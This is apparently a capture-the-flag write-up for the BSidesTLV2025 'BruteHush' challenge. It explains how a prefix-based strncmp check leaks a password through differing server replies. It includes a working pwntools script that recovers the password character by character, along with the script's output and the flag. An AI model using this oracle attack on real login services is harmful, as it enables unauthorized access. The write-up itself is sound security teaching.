BruteHush
- Category: PWN
Description
It’s just a password. Got any way besides brute-force? Didn’t think so. You’re cooked.
Challenge by Yehudit Yudeleivch
Sources were attached.
Solution
We are presented with a remote authentication service guarded by a “Gremlin.” Our mission is to find the right password.
Let’s connect and see how the Gremlin reacts to our guesses.
nc 0.cloud.chals.io 10188
Scenario A: Random Guess
Enter password: aaaa
[Gremlin]: Haha, you thought you could guess it?
Hard reject. The Gremlin is mocking us.
Scenario B: Lucky Guess
While fuzzing, we tried sending H.
Enter password: H
[Gremlin]: Hmm... I feel like you're trying something.
Suspicious. The tone changed. It didn’t say “Haha”.
In a secure system, a wrong password should result in a generic “Invalid Password” response, regardless of whether you got the first letter right or not.
Here, the server behaves differently based on the prefix of our input:
- Wrong Prefix: Returns
"Haha..." - Correct Prefix: Returns
"Hmm..."
This behavior is the hallmark of a lazy string comparison, likely using strncmp(user_input, password, input_len).
Instead of checking if the entire password matches, the server is only checking if the password matches up to the length of our input. This effectively converts an exponential brute-force problem into a linear one.
We don’t need to guess the whole password at once. We just need to guess one letter at a time.
The Game Plan:
- Start with an empty string.
- Loop through every printable character (A-Z, 0-9, symbols).
- Send
current_password + candidate_char. - Listen:
- If the Gremlin laughs (“Haha”), the character is wrong.
- If the Gremlin gets suspicious (“Hmm”), the character is right.
- Append the correct character and repeat until the flag drops.
Solution Script
Run this script using python3.
from pwn import *
import string
import re
# --- Challenge Configuration ---
HOST = '0.cloud.chals.io'
PORT = 10188
CHARSET = string.ascii_letters + string.digits + "{}_!@?"
def solve():
print(f"[*] Starting Oracle Attack on {HOST}:{PORT}")
# Establish connection
r = remote(HOST, PORT)
r.recvuntil(b"Enter password: ")
current_password = ""
while True:
found_this_round = False
for char in CHARSET:
# Construct the payload: known_part + guess
guess = current_password + char
r.sendline(guess.encode())
# Read response (handle timeout for final flag)
try:
response = r.recvuntil(b"Enter password: ", timeout=0.5)
except:
response = r.recv()
# 1. Check for Victory
if b"BSidesTLV2025" in response:
flag_match = re.search(rb"BSidesTLV2025\{.*?\}", response)
if flag_match:
print(f"\n[+] FLAG CAPTURED: {flag_match.group().decode()}")
return
# 2. Oracle Logic
# If the server DOESN'T mock us, we are on the right track.
if b"Haha" not in response and b"lol" not in response:
current_password += char
found_this_round = True
print(f"[+] Character identified: '{char}' | Current Buffer: {current_password}")
break
if not found_this_round:
print("[-] Exploit failed to identify the next character.")
break
r.close()
if __name__ == "__main__":
solve()
Result
The script picks the lock one byte at a time:
[+] Character identified: 'H' | Current Buffer: H
[+] Character identified: 'n' | Current Buffer: Hn
[+] Character identified: '6' | Current Buffer: Hn6
...
[+] Character identified: 'n' | Current Buffer: Hn6f3vsnfklsjgn
[+] FLAG CAPTURED: BSidesTLV2025{1_t0ld_u_k1ds_kn0w_strncmp}